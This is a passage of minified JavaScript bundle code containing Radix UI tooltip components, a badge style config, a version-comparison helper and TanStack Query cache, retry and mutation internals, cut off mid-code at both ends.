0,"data-state":o.stateAttribute,...r,ref:l,onPointerMove:We(e.onPointerMove,d=>{d.pointerType!=="touch"&&!c.current&&!i.isPointerInTransitRef.current&&(o.onTriggerEnter(),c.current=!0)}),onPointerLeave:We(e.onPointerLeave,()=>{o.onTriggerLeave(),c.current=!1}),onPointerDown:We(e.onPointerDown,()=>{u.current=!0,document.addEventListener("pointerup",f,{once:!0})}),onFocus:We(e.onFocus,()=>{u.current||o.onOpen()}),onBlur:We(e.onBlur,o.onClose),onClick:We(e.onClick,o.onClose)})})});bx.displayName=Zf;var S3="TooltipPortal",[bT,E3]=Bc(S3,{forceMount:void 0}),Ns="TooltipContent",Cx=h.forwardRef((e,t)=>{const n=E3(Ns,e.__scopeTooltip),{forceMount:r=n.forceMount,side:o="top",...i}=e,s=Wc(Ns,e.__scopeTooltip);return E.jsx(sr,{present:r||s.open,children:s.disableHoverableContent?E.jsx(Sx,{side:o,...i,ref:t}):E.jsx(_3,{side:o,...i,ref:t})})}),_3=h.forwardRef((e,t)=>{const n=Wc(Ns,e.__scopeTooltip),r=Vp(Ns,e.__scopeTooltip),o=h.useRef(null),i=tt(t,o),[s,a]=h.useState(null),{trigger:l,onClose:u}=n,c=o.current,{onPointerInTransitChange:f}=r,d=h.useCallback(()=>{a(null),f(!1)},[f]),m=h.useCallback((w,g)=>{const x=w.currentTarget,v={x:w.clientX,y:w.clientY},p=T3(v,x.getBoundingClientRect()),y=N3(v,p),C=O3(g.getBoundingClientRect()),_=A3([...y,...C]);a(_),f(!0)},[f]);return h.useEffect(()=>()=>d(),[d]),h.useEffect(()=>{if(l&&c){const w=x=>m(x,c),g=x=>m(x,l);return l.addEventListener("pointerleave",w),c.addEventListener("pointerleave",g),()=>{l.removeEventListener("pointerleave",w),c.removeEventListener("pointerleave",g)}}},[l,c,m,d]),h.useEffect(()=>{if(s){const w=g=>{const x=g.target,v={x:g.clientX,y:g.clientY},p=(l==null?void 0:l.contains(x))||(c==null?void 0:c.contains(x)),y=!L3(v,s);p?d():y&&(d(),u())};return document.addEventListener("pointermove",w),()=>document.removeEventListener("pointermove",w)}},[l,c,s,u,d]),E.jsx(Sx,{...e,ref:i})}),[k3,R3]=Bc(Hc,{isInside:!1}),Sx=h.forwardRef((e,t)=>{const{__scopeTooltip:n,children:r,"aria-label":o,onEscapeKeyDown:i,onPointerDownOutside:s,...a}=e,l=Wc(Ns,n),u=Vc(n),{onClose:c}=l;return h.useEffect(()=>(document.addEventListener(Wf,c),()=>document.removeEventListener(Wf,c)),[c]),h.useEffect(()=>{if(l.trigger){const f=d=>{const m=d.target;m!=null&&m.contains(l.trigger)&&c()};return window.addEventListener("scroll",f,{capture:!0}),()=>window.removeEventListener("scroll",f,{capture:!0})}},[l.trigger,c]),E.jsx(hp,{asChild:!0,disableOutsidePointerEvents:!1,onEscapeKeyDown:i,onPointerDownOutside:s,onFocusOutside:f=>f.preventDefault(),onDismiss:c,children:E.jsxs(v3,{"data-state":l.stateAttribute,...u,...a,ref:t,style:{...a.style,"--radix-tooltip-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-tooltip-content-available-width":"var(--radix-popper-available-width)","--radix-tooltip-content-available-height":"var(--radix-popper-available-height)","--radix-tooltip-trigger-width":"var(--radix-popper-anchor-width)","--radix-tooltip-trigger-height":"var(--radix-popper-anchor-height)"},children:[E.jsx(t1,{children:r}),E.jsx(k3,{scope:n,isInside:!0,children:E.jsx(w3,{id:l.contentId,role:"tooltip",children:o||r})})]})})});Cx.displayName=Ns;var Ex="TooltipArrow",P3=h.forwardRef((e,t)=>{const{__scopeTooltip:n,...r}=e,o=Vc(n);return R3(Ex,n).isInside?null:E.jsx(g3,{...o,...r,ref:t})});P3.displayName=Ex;function T3(e,t){const n=Math.abs(t.top-e.y),r=Math.abs(t.bottom-e.y),o=Math.abs(t.right-e.x),i=Math.abs(t.left-e.x);switch(Math.min(n,r,o,i)){case i:return"left";case o:return"right";case n:return"top";case r:return"bottom";default:throw new Error("unreachable")}}function N3(e,t,n=5){const r=[];switch(t){case"top":r.push({x:e.x-n,y:e.y+n},{x:e.x+n,y:e.y+n});break;case"bottom":r.push({x:e.x-n,y:e.y-n},{x:e.x+n,y:e.y-n});break;case"left":r.push({x:e.x+n,y:e.y-n},{x:e.x+n,y:e.y+n});break;case"right":r.push({x:e.x-n,y:e.y-n},{x:e.x-n,y:e.y+n});break}return r}function O3(e){const{top:t,right:n,bottom:r,left:o}=e;return[{x:o,y:t},{x:n,y:t},{x:n,y:r},{x:o,y:r}]}function L3(e,t){const{x:n,y:r}=e;let o=!1;for(let i=0,s=t.length-1;i<t.length;s=i++){const a=t[i].x,l=t[i].y,u=t[s].x,c=t[s].y;l>r!=c>r&&n<(u-a)*(r-l)/(c-l)+a&&(o=!o)}return o}function A3(e){const t=e.slice();return t.sort((n,r)=>n.x<r.x?-1:n.x>r.x?1:n.y<r.y?-1:n.y>r.y?1:0),M3(t)}function M3(e){if(e.length<=1)return e.slice();const t=[];for(let r=0;r<e.length;r++){const o=e[r];for(;t.length>=2;){const i=t[t.length-1],s=t[t.length-2];if((i.x-s.x)*(o.y-s.y)>=(i.y-s.y)*(o.x-s.x))t.pop();else break}t.push(o)}t.pop();const n=[];for(let r=e.length-1;r>=0;r--){const o=e[r];for(;n.length>=2;){const i=n[n.length-1],s=n[n.length-2];if((i.x-s.x)*(o.y-s.y)>=(i.y-s.y)*(o.x-s.x))n.pop();else break}n.push(o)}return n.pop(),t.length===1&&n.length===1&&t[0].x===n[0].x&&t[0].y===n[0].y?t:t.concat(n)}var D3=wx,j3=xx,I3=bx,_x=Cx;const z3=D3,jd=j3,Id=I3,F3=h.forwardRef(({className:e,sideOffset:t=4,...n},r)=>E.jsx(_x,{ref:r,sideOffset:t,className:Ze("z-50 overflow-hidden rounded-md bg-primary px-3 py-1.5 text-xs text-primary-foreground animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...n}));F3.displayName=_x.displayName;const $3=fp("inline-flex items-center rounded-md border font-semibold transition-colors focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2",{variants:{variant:{default:"border-transparent bg-primary text-primary-foreground shadow hover:bg-primary/80",secondary:"border-transparent bg-secondary text-secondary-foreground hover:bg-secondary/80",destructive:"border-transparent bg-destructive text-destructive-foreground shadow hover:bg-destructive/80",outline:"text-foreground",background:"bg-background text-background-foreground",success:"border-transparent bg-green-500 text-white",info:"border-transparent bg-yellow-200 text-black",gold:"bg-yellow-500 text-black",silver:"bg-slate-200 text-black",bronze:"bg-orange-800 text-white"},size:{sm:"text-xs px-2 py-0.5",md:"text-sm px-2.5 py-1",lg:"text-base px-4 py-2"}},defaultVariants:{variant:"default",size:"sm"}});function U3({className:e,variant:t,size:n,...r}){return E.jsx("div",{className:Ze($3({variant:t,size:n}),e),...r})}function B3(e,t,n){try{let r=0;const o={dev:-6,alpha:-5,a:-5,beta:-4,b:-4,RC:-3,rc:-3,"#":-2,p:1,pl:1},i=c=>(c=c.replace(/[_\-+]/g,"."),c=c.replace(/([^.\d]+)/g,".$1.").replace(/\.{2,}/g,"."),c.length===0?[-8]:c.split(".")),s=c=>typeof c=="number"?c:c?isNaN(parseInt(c,10))?o[c]||-7:parseInt(c,10):0,a=i(e),l=i(t),u=Math.max(a.length,l.length);for(let c=0;c<u;c++){const f=s(a[c]),d=s(l[c]);if(f!==d){if(f<d){r=-1;break}else if(f>d){r=1;break}}}switch(n){case">":case"gt":return r>0;case">=":case"ge":return r>=0;case"<=":case"le":return r<=0;case"===":case"=":case"eq":return r===0;case"<>":case"!==":case"ne":return r!==0;case"":case"<":case"lt":return r<0;default:return null}}catch{return null}}var Hs=class{constructor(){this.listeners=new Set,this.subscribe=this.subscribe.bind(this)}subscribe(e){return this.listeners.add(e),this.onSubscribe(),()=>{this.listeners.delete(e),this.onUnsubscribe()}}hasListeners(){return this.listeners.size>0}onSubscribe(){}onUnsubscribe(){}},Os=typeof window>"u"||"Deno"in globalThis;function fn(){}function V3(e,t){return typeof e=="function"?e(t):e}function Qf(e){return typeof e=="number"&&e>=0&&e!==1/0}function kx(e,t){return Math.max(e+(t||0)-Date.now(),0)}function qi(e,t){return typeof e=="function"?e(t):e}function Nn(e,t){return typeof e=="function"?e(t):e}function ig(e,t){const{type:n="all",exact:r,fetchStatus:o,predicate:i,queryKey:s,stale:a}=e;if(s){if(r){if(t.queryHash!==Hp(s,t.options))return!1}else if(!Ya(t.queryKey,s))return!1}if(n!=="all"){const l=t.isActive();if(n==="active"&&!l||n==="inactive"&&l)return!1}return!(typeof a=="boolean"&&t.isStale()!==a||o&&o!==t.state.fetchStatus||i&&!i(t))}function sg(e,t){const{exact:n,status:r,predicate:o,mutationKey:i}=e;if(i){if(!t.options.mutationKey)return!1;if(n){if(li(t.options.mutationKey)!==li(i))return!1}else if(!Ya(t.options.mutationKey,i))return!1}return!(r&&t.state.status!==r||o&&!o(t))}function Hp(e,t){return((t==null?void 0:t.queryKeyHashFn)||li)(e)}function li(e){return JSON.stringify(e,(t,n)=>Kf(n)?Object.keys(n).sort().reduce((r,o)=>(r[o]=n[o],r),{}):n)}function Ya(e,t){return e===t?!0:typeof e!=typeof t?!1:e&&t&&typeof e=="object"&&typeof t=="object"?!Object.keys(t).some(n=>!Ya(e[n],t[n])):!1}function Rx(e,t){if(e===t)return e;const n=ag(e)&&ag(t);if(n||Kf(e)&&Kf(t)){const r=n?e:Object.keys(e),o=r.length,i=n?t:Object.keys(t),s=i.length,a=n?[]:{};let l=0;for(let u=0;u<s;u++){const c=n?u:i[u];(!n&&r.includes(c)||n)&&e[c]===void 0&&t[c]===void 0?(a[c]=void 0,l++):(a[c]=Rx(e[c],t[c]),a[c]===e[c]&&e[c]!==void 0&&l++)}return o===s&&l===o?e:a}return t}function ic(e,t){if(!t||Object.keys(e).length!==Object.keys(t).length)return!1;for(const n in e)if(e[n]!==t[n])return!1;return!0}function ag(e){return Array.isArray(e)&&e.length===Object.keys(e).length}function Kf(e){if(!lg(e))return!1;const t=e.constructor;if(t===void 0)return!0;const n=t.prototype;return!(!lg(n)||!n.hasOwnProperty("isPrototypeOf")||Object.getPrototypeOf(e)!==Object.prototype)}function lg(e){return Object.prototype.toString.call(e)==="[object Object]"}function H3(e){return new Promise(t=>{setTimeout(t,e)})}function Yf(e,t,n){return typeof n.structuralSharing=="function"?n.structuralSharing(e,t):n.structuralSharing!==!1?Rx(e,t):t}function W3(e){return e}function Z3(e,t,n=0){const r=[...e,t];return n&&r.length>n?r.slice(1):r}function Q3(e,t,n=0){const r=[t,...e];return n&&r.length>n?r.slice(0,-1):r}var Px=Symbol(),Tx=(e,t)=>!e.queryFn&&(t!=null&&t.initialPromise)?()=>t.initialPromise:!e.queryFn||e.queryFn===Px?()=>Promise.reject(new Error(`Missing queryFn: '${e.queryHash}'`)):e.queryFn,Wo,Xr,es,bg,K3=(bg=class extends Hs{constructor(){super();K(this,Wo);K(this,Xr);K(this,es);F(this,es,t=>{if(!Os&&window.addEventListener){const n=()=>t();return window.addEventListener("visibilitychange",n,!1),()=>{window.removeEventListener("visibilitychange",n)}}})}onSubscribe(){S(this,Xr)||this.setEventListener(S(this,es))}onUnsubscribe(){var t;this.hasListeners()||((t=S(this,Xr))==null||t.call(this),F(this,Xr,void 0))}setEventListener(t){var n;F(this,es,t),(n=S(this,Xr))==null||n.call(this),F(this,Xr,t(r=>{typeof r=="boolean"?this.setFocused(r):this.onFocus()}))}setFocused(t){S(this,Wo)!==t&&(F(this,Wo,t),this.onFocus())}onFocus(){const t=this.isFocused();this.listeners.forEach(n=>{n(t)})}isFocused(){var t;return typeof S(this,Wo)=="boolean"?S(this,Wo):((t=globalThis.document)==null?void 0:t.visibilityState)!=="hidden"}},Wo=new WeakMap,Xr=new WeakMap,es=new WeakMap,bg),Wp=new K3,ts,Jr,ns,Cg,Y3=(Cg=class extends Hs{constructor(){super();K(this,ts,!0);K(this,Jr);K(this,ns);F(this,ns,t=>{if(!Os&&window.addEventListener){const n=()=>t(!0),r=()=>t(!1);return window.addEventListener("online",n,!1),window.addEventListener("offline",r,!1),()=>{window.removeEventListener("online",n),window.removeEventListener("offline",r)}}})}onSubscribe(){S(this,Jr)||this.setEventListener(S(this,ns))}onUnsubscribe(){var t;this.hasListeners()||((t=S(this,Jr))==null||t.call(this),F(this,Jr,void 0))}setEventListener(t){var n;F(this,ns,t),(n=S(this,Jr))==null||n.call(this),F(this,Jr,t(this.setOnline.bind(this)))}setOnline(t){S(this,ts)!==t&&(F(this,ts,t),this.listeners.forEach(r=>{r(t)}))}isOnline(){return S(this,ts)}},ts=new WeakMap,Jr=new WeakMap,ns=new WeakMap,Cg),sc=new Y3;function G3(e){return Math.min(1e3*2**e,3e4)}function Nx(e){return(e??"online")==="online"?sc.isOnline():!0}var Ox=class{constructor(e){this.revert=e==null?void 0:e.revert,this.silent=e==null?void 0:e.silent}};function zd(e){return e instanceof Ox}function Lx(e){let t=!1,n=0,r=!1,o,i,s;const a=new Promise((v,p)=>{i=v,s=p}),l=v=>{var p;r||(w(new Ox(v)),(p=e.abort)==null||p.call(e))},u=()=>{t=!0},c=()=>{t=!1},f=()=>Wp.isFocused()&&(e.networkMode==="always"||sc.isOnline())&&e.canRun(),d=()=>Nx(e.networkMode)&&e.canRun(),m=v=>{var p;r||(r=!0,(p=e.onSuccess)==null||p.call(e,v),o==null||o(),i(v))},w=v=>{var p;r||(r=!0,(p=e.onError)==null||p.call(e,v),o==null||o(),s(v))},g=()=>new Promise(v=>{var p;o=y=>{(r||f())&&v(y)},(p=e.onPause)==null||p.call(e)}).then(()=>{var v;o=void 0,r||(v=e.onContinue)==null||v.call(e)}),x=()=>{if(r)return;let v;const p=n===0?e.initialPromise:void 0;try{v=p??e.fn()}catch(y){v=Promise.reject(y)}Promise.resolve(v).then(m).catch(y=>{var T;if(r)return;const C=e.retry??(Os?0:3),_=e.retryDelay??G3,b=typeof _=="function"?_(n,y):_,P=C===!0||typeof C=="number"&&n<C||typeof C=="function"&&C(n,y);if(t||!P){w(y);return}n++,(T=e.onFail)==null||T.call(e,n,y),H3(b).then(()=>f()?void 0:g()).then(()=>{t?w(y):x()})})};return{promise:a,cancel:l,continue:()=>(o==null||o(),a),cancelRetry:u,continueRetry:c,canStart:d,start:()=>(d()?x():g().then(x),a)}}function q3(){let e=[],t=0,n=d=>{d()},r=d=>{d()},o=d=>setTimeout(d,0);const i=d=>{o=d},s=d=>{let m;t++;try{m=d()}finally{t--,t||u()}return m},a=d=>{t?e.push(d):o(()=>{n(d)})},l=d=>(...m)=>{a(()=>{d(...m)})},u=()=>{const d=e;e=[],d.length&&o(()=>{r(()=>{d.forEach(m=>{n(m)})})})};return{batch:s,batchCalls:l,schedule:a,setNotifyFunction:d=>{n=d},setBatchNotifyFunction:d=>{r=d},setScheduler:i}}var at=q3(),Zo,Sg,Ax=(Sg=class{constructor(){K(this,Zo)}destroy(){this.clearGcTimeout()}scheduleGc(){this.clearGcTimeout(),Qf(this.gcTime)&&F(this,Zo,setTimeout(()=>{this.optionalRemove()},this.gcTime))}updateGcTime(e){this.gcTime=Math.max(this.gcTime||0,e??(Os?1/0:5*60*1e3))}clearGcTimeout(){S(this,Zo)&&(clearTimeout(S(this,Zo)),F(this,Zo,void 0))}},Zo=new WeakMap,Sg),rs,os,un,bt,cl,Qo,kn,dr,Eg,X3=(Eg=class extends Ax{constructor(t){super();K(this,kn);K(this,rs);K(this,os);K(this,un);K(this,bt);K(this,cl);K(this,Qo);F(this,Qo,!1),F(this,cl,t.defaultOptions),this.setOptions(t.options),this.observers=[],F(this,un,t.cache),this.queryKey=t.queryKey,this.queryHash=t.queryHash,F(this,rs,t.state||J3(this.options)),this.state=S(this,rs),this.scheduleGc()}get meta(){return this.options.meta}get promise(){var t;return(t=S(this,bt))==null?void 0:t.promise}setOptions(t){this.options={...S(this,cl),...t},this.updateGcTime(this.options.gcTime)}optionalRemove(){!this.observers.length&&this.state.fetchStatus==="idle"&&S(this,un).remove(this)}setData(t,n){const r=Yf(this.state.data,t,this.options);return te(this,kn,dr).call(this,{data:r,type:"success",dataUpdatedAt:n==null?void 0:n.updatedAt,manual:n==null?void 0:n.manual}),r}setState(t,n){te(this,kn,dr).call(this,{type:"setState",state:t,setStateOptions:n})}cancel(t){var r,o;const n=(r=S(this,bt))==null?void 0:r.promise;return(o=S(this,bt))==null||o.cancel(t),n?n.then(fn).catch(fn):Promise.resolve()}destroy(){super.destroy(),this.cancel({silent:!0})}reset(){this.destroy(),this.setState(S(this,rs))}isActive(){return this.observers.some(t=>Nn(t.options.enabled,this)!==!1)}isDisabled(){return this.getObserversCount()>0&&!this.isActive()}isStale(){return this.state.isInvalidated?!0:this.getObserversCount()>0?this.observers.some(t=>t.getCurrentResult().isStale):this.state.data===void 0}isStaleByTime(t=0){return this.state.isInvalidated||this.state.data===void 0||!kx(this.state.dataUpdatedAt,t)}onFocus(){var n;const t=this.observers.find(r=>r.shouldFetchOnWindowFocus());t==null||t.refetch({cancelRefetch:!1}),(n=S(this,bt))==null||n.continue()}onOnline(){var n;const t=this.observers.find(r=>r.shouldFetchOnReconnect());t==null||t.refetch({cancelRefetch:!1}),(n=S(this,bt))==null||n.continue()}addObserver(t){this.observers.includes(t)||(this.observers.push(t),this.clearGcTimeout(),S(this,un).notify({type:"observerAdded",query:this,observer:t}))}removeObserver(t){this.observers.includes(t)&&(this.observers=this.observers.filter(n=>n!==t),this.observers.length||(S(this,bt)&&(S(this,Qo)?S(this,bt).cancel({revert:!0}):S(this,bt).cancelRetry()),this.scheduleGc()),S(this,un).notify({type:"observerRemoved",query:this,observer:t}))}getObserversCount(){return this.observers.length}invalidate(){this.state.isInvalidated||te(this,kn,dr).call(this,{type:"invalidate"})}fetch(t,n){var l,u,c;if(this.state.fetchStatus!=="idle"){if(this.state.data!==void 0&&(n!=null&&n.cancelRefetch))this.cancel({silent:!0});else if(S(this,bt))return S(this,bt).continueRetry(),S(this,bt).promise}if(t&&this.setOptions(t),!this.options.queryFn){const f=this.observers.find(d=>d.options.queryFn);f&&this.setOptions(f.options)}const r=new AbortController,o=f=>{Object.defineProperty(f,"signal",{enumerable:!0,get:()=>(F(this,Qo,!0),r.signal)})},i=()=>{const f=Tx(this.options,n),d={queryKey:this.queryKey,meta:this.meta};return o(d),F(this,Qo,!1),this.options.persister?this.options.persister(f,d,this):f(d)},s={fetchOptions:n,options:this.options,queryKey:this.queryKey,state:this.state,fetchFn:i};o(s),(l=this.options.behavior)==null||l.onFetch(s,this),F(this,os,this.state),(this.state.fetchStatus==="idle"||this.state.fetchMeta!==((u=s.fetchOptions)==null?void 0:u.meta))&&te(this,kn,dr).call(this,{type:"fetch",meta:(c=s.fetchOptions)==null?void 0:c.meta});const a=f=>{var d,m,w,g;zd(f)&&f.silent||te(this,kn,dr).call(this,{type:"error",error:f}),zd(f)||((m=(d=S(this,un).config).onError)==null||m.call(d,f,this),(g=(w=S(this,un).config).onSettled)==null||g.call(w,this.state.data,f,this)),this.isFetchingOptimistic||this.scheduleGc(),this.isFetchingOptimistic=!1};return F(this,bt,Lx({initialPromise:n==null?void 0:n.initialPromise,fn:s.fetchFn,abort:r.abort.bind(r),onSuccess:f=>{var d,m,w,g;if(f===void 0){a(new Error(`${this.queryHash} data is undefined`));return}this.setData(f),(m=(d=S(this,un).config).onSuccess)==null||m.call(d,f,this),(g=(w=S(this,un).config).onSettled)==null||g.call(w,f,this.state.error,this),this.isFetchingOptimistic||this.scheduleGc(),this.isFetchingOptimistic=!1},onError:a,onFail:(f,d)=>{te(this,kn,dr).call(this,{type:"failed",failureCount:f,error:d})},onPause:()=>{te(this,kn,dr).call(this,{type:"pause"})},onContinue:()=>{te(this,kn,dr).call(this,{type:"continue"})},retry:s.options.retry,retryDelay:s.options.retryDelay,networkMode:s.options.networkMode,canRun:()=>!0})),S(this,bt).start()}},rs=new WeakMap,os=new WeakMap,un=new WeakMap,bt=new WeakMap,cl=new WeakMap,Qo=new WeakMap,kn=new WeakSet,dr=function(t){const n=r=>{switch(t.type){case"failed":return{...r,fetchFailureCount:t.failureCount,fetchFailureReason:t.error};case"pause":return{...r,fetchStatus:"paused"};case"continue":return{...r,fetchStatus:"fetching"};case"fetch":return{...r,...Mx(r.data,this.options),fetchMeta:t.meta??null};case"success":return{...r,data:t.data,dataUpdateCount:r.dataUpdateCount+1,dataUpdatedAt:t.dataUpdatedAt??Date.now(),error:null,isInvalidated:!1,status:"success",...!t.manual&&{fetchStatus:"idle",fetchFailureCount:0,fetchFailureReason:null}};case"error":const o=t.error;return zd(o)&&o.revert&&S(this,os)?{...S(this,os),fetchStatus:"idle"}:{...r,error:o,errorUpdateCount:r.errorUpdateCount+1,errorUpdatedAt:Date.now(),fetchFailureCount:r.fetchFailureCount+1,fetchFailureReason:o,fetchStatus:"idle",status:"error"};case"invalidate":return{...r,isInvalidated:!0};case"setState":return{...r,...t.state}}};this.state=n(this.state),at.batch(()=>{this.observers.forEach(r=>{r.onQueryUpdate()}),S(this,un).notify({query:this,type:"updated",action:t})})},Eg);function Mx(e,t){return{fetchFailureCount:0,fetchFailureReason:null,fetchStatus:Nx(t.networkMode)?"fetching":"paused",...e===void 0&&{error:null,status:"pending"}}}function J3(e){const t=typeof e.initialData=="function"?e.initialData():e.initialData,n=t!==void 0,r=n?typeof e.initialDataUpdatedAt=="function"?e.initialDataUpdatedAt():e.initialDataUpdatedAt:0;return{data:t,dataUpdateCount:0,dataUpdatedAt:n?r??Date.now():0,error:null,errorUpdateCount:0,errorUpdatedAt:0,fetchFailureCount:0,fetchFailureReason:null,fetchMeta:null,isInvalidated:!1,status:n?"success":"pending",fetchStatus:"idle"}}var Wn,_g,e8=(_g=class extends Hs{constructor(t={}){super();K(this,Wn);this.config=t,F(this,Wn,new Map)}build(t,n,r){const o=n.queryKey,i=n.queryHash??Hp(o,n);let s=this.get(i);return s||(s=new X3({cache:this,queryKey:o,queryHash:i,options:t.defaultQueryOptions(n),state:r,defaultOptions:t.getQueryDefaults(o)}),this.add(s)),s}add(t){S(this,Wn).has(t.queryHash)||(S(this,Wn).set(t.queryHash,t),this.notify({type:"added",query:t}))}remove(t){const n=S(this,Wn).get(t.queryHash);n&&(t.destroy(),n===t&&S(this,Wn).delete(t.queryHash),this.notify({type:"removed",query:t}))}clear(){at.batch(()=>{this.getAll().forEach(t=>{this.remove(t)})})}get(t){return S(this,Wn).get(t)}getAll(){return[...S(this,Wn).values()]}find(t){const n={exact:!0,...t};return this.getAll().find(r=>ig(n,r))}findAll(t={}){const n=this.getAll();return Object.keys(t).length>0?n.filter(r=>ig(t,r)):n}notify(t){at.batch(()=>{this.listeners.forEach(n=>{n(t)})})}onFocus(){at.batch(()=>{this.getAll().forEach(t=>{t.onFocus()})})}onOnline(){at.batch(()=>{this.getAll().forEach(t=>{t.onOnline()})})}},Wn=new WeakMap,_g),Zn,Rt,Ko,Qn,Wr,kg,t8=(kg=class extends Ax{constructor(t){super();K(this,Qn);K(this,Zn);K(this,Rt);K(this,Ko);this.mutationId=t.mutationId,F(this,Rt,t.mutationCache),F(this,Zn,[]),this.state=t.state||Dx(),this.setOptions(t.options),this.scheduleGc()}setOptions(t){this.options=t,this.updateGcTime(this.options.gcTime)}get meta(){return this.options.meta}addObserver(t){S(this,Zn).includes(t)||(S(this,Zn).push(t),this.clearGcTimeout(),S(this,Rt).notify({type:"observerAdded",mutation:this,observer:t}))}removeObserver(t){F(this,Zn,S(this,Zn).filter(n=>n!==t)),this.scheduleGc(),S(this,Rt).notify({type:"observerRemoved",mutation:this,observer:t})}optionalRemove(){S(this,Zn).length||(this.state.status==="pending"?this.scheduleGc():S(this,Rt).remove(this))}continue(){var t;return((t=S(this,Ko))==null?void 0:t.continue())??this.execute(this.state.variables)}async execute(t){var o,i,s,a,l,u,c,f,d,m,w,g,x,v,p,y,C,_,b,P;F(this,Ko,Lx({fn:()=>this.options.mutationFn?this.options.mutationFn(t):Promise.reject(new Error("No mutationFn found")),onFail:(T,O)=>{te(this,Qn,Wr).call(this,{type:"failed",failureCount:T,error:O})},onPause:()=>{te(this,Qn,Wr).call(this,{type:"pause"})},onContinue:()=>{te(this,Qn,Wr).call(this,{type:"continue"})},retry:this.options.retry??0,retryDelay:this.options.retryDelay,networkMode:this.options.networkMode,canRun:()=>S(this,Rt).canRun(this)}));const n=this.state.status==="pending",r=!S(this,Ko).canStart();try{if(!n){te(this,Qn,Wr).call(this,{type:"pending",variables:t,isPaused:r}),await((i=(o=S(this,Rt).config).onMutate)==null?void 0:i.call(o,t,this));const O=await((a=(s=this.options).onMutate)==null?void 0:a.call(s,t));O!==this.state.context&&te(this,Qn,Wr).call(this,{type:"pending",context:O,variables:t,isPaused:r})}const T=await S(this,Ko).start();return await((u=(l=S(this,Rt).config).onSuccess)==null?void 0:u.call(l,T,t,this.state.context,this)),await((f=(c=this.options).onSuccess)==null?void 0:f.call(c,T,t,this.state.context)),await((m=(d=S(this,Rt).config).onSettled)==null?void 0:m.call(d,T,null,this.state.variables,this.state.context,this)),await((g=(w=this.options).onSettled)==null?void 0:g.call(w,T,null,t,this.state.context)),te(this,Qn,Wr).call(this,{type:"success",data:T}),T}catch(T){try{throw await((v=(x=S(this,Rt).config).onError)==null?void 0:v.call(x,T,t,this.state.context,this)),await((y=(p=this.options).onError)==null?void 0:y.call(p,T,t,this.state.context)),await((_=(C=S(this,Rt).config).onSettled)==null?void 0:_.call(C,void 0,T,this.state.variables,this.state.context,this)),await((P=(b=this.options).onSettled)==null?void 0:P.call(b,void 0,T,t,this.state.context)),T}finally{te(this,Qn,Wr).call(this,{type:"error",error:T})}}finally{S(this,Rt).runNext(this)}}},Zn=new WeakMap,Rt=new WeakMap,Ko=new WeakMap,Qn=new WeakSet,Wr=function(t){const n=r=>{switch(t.type){case"failed":return{...r,failureCount:t.failureCount,failureReason:t.error};case"pause":return{...r,isPaused:!0};case"continue":return{...r,isPaused:!1};case"pending":return{...r,context:t.context,data:void 0,failureCount:0,failureReason:null,error:null,isPaused:t.isPaused,status:"pending",variables:t.variables,submittedAt:Date.now()};case"success":return{...r,data:t.data,failureCount:0,failureReason:null,error:null,status:"success",isPaused:!1};case"error":return{...r,data:void 0,error:t.error,failureCount:r.failureCount+1,failureReason:t.error,isPaused:!1,status:"error"}}};this.state=n(this.state),at.batch(()=>{S(this,Zn).forEach(r=>{r.onMutationUpdate(t)}),S(this,Rt).notify({mutation:this,type:"updated",action:t})})},kg);function Dx(){return{context:void 0,data:void 0,error:null,failureCount:0,failureReason:null,isPaused:!1,status:"idle",variables:void 0,submittedAt:0}}var Kt,dl,Rg,n8=(Rg=class extends Hs{constructor(t={}){super();K(this,Kt);K(this,dl);this.config=t,F(this,Kt,new Map),F(this,dl,Date.now())}build(t,n,r){const o=new t8({mutationCache:this,mutationId:++Mo(this,dl)._,options:t.defaultMutationOptions(n),state:r});return this.add(o),o}add(t){const n=nu(t),r=S(this,Kt).get(n)??[];r.push(t),S(this,Kt).set(n,r),this.notify({type:"added",mutation:t})}remove(t){var r;const n=nu(t);if(S(this,Kt).has(n)){const o=(r=S(this,Kt).get(n))==null?void 0:r.filter(i=>i!==t);o&&(o.length===0?S(this,Kt).delete(n):S(this,Kt).set(n,o))}this.notify({type:"removed",mutation:t})}canRun(t){var r;const n=(r=S(this,Kt).get(nu(t)))==null?void 0:r.find(o=>o.state.status==="pending");return!n||n===t}runNext(t){var r;const n=(r=S(this,Kt).get(nu(t)))==null?void 0:r.find(o=>o!==t&&o.state.isPaused);return(n==null?void 0:n.continue())??Promise.resolve()}clear(){at.batch(()=>{this.getAll().forEach(t=>{this.remove(t)})})}getAll(){return[...S(this,Kt).values()].flat()}find(t){const n={exact:!0,...t};return this.getAll().find(r=>sg(n,r))}findAll(t={}){return this.getAll().filter(n=>sg(t,n))}notify(t){at.batch(()=>{this.listeners.forEach(n=>{n(t)})})}resumePausedMutations(){const t=this.getAll().filter(n=>n.state.isPaused);return at.batch(()=>Promise.all(t.map(n=>n.continue().catch(fn))))}},Kt=new WeakMap,dl=new WeakMap,Rg);function nu(e){var t;return((t=e.options.scope)==null?void 0:t.id)??String(e.mutationId)}function r8(e){return{onFetch:(t,n)=>{const r=async()=>{var w,g,x,v,p;const o=t.options,i=(x=(g=(w=t.fetchOptions)==null?void 0:w.meta)==null?void 0:g.fetchMore)==null?void 0:x.direction,s=((v=t.state.data)==null?void 0:v.pages)||[],a=((p=t.state.data)==null?void 0:p.pageParams)||[],l={pages:[],pageParams:[]};let u=!1;const c=y=>{Object.defineProperty(y,"signal",{enumerable:!0,get:()=>(t.signal.aborted?u=!0:t.signal.addEventListener("abort",()=>{u=!0}),t.signal)})},f=Tx(t.options,t.fetchOptions),d=async(y,C,_)=>{if(u)return Promise.reject();if(C==null&&y.pages.length)return Promise.resolve(y);const b={queryKey:t.queryKey,pageParam:C,direction:_?"backward":"forward",meta:t.options.meta};c(b);const P=await f(b),{maxPages:T}=t.options,O=_?Q3:Z3;return{pages:O(y.pages,P,T),pageParams:O(y.pageParams,C,T)}};let m;if(i&&s.length){const y=i==="backward",C=y?o8:ug,_={pages:s,pageParams:a},b=C(o,_);m=await d(_,b,y)}else{m=await d(l,a[0]??o.initialPageParam);const y=e??s.length;for(let C=1;C<y;C++){const _=ug(o,m);m=await d(m,_)}}return m};t.options.persister?t.fetchFn=()=>{var o,i;return(i=(o=t.options).persister)==null?void 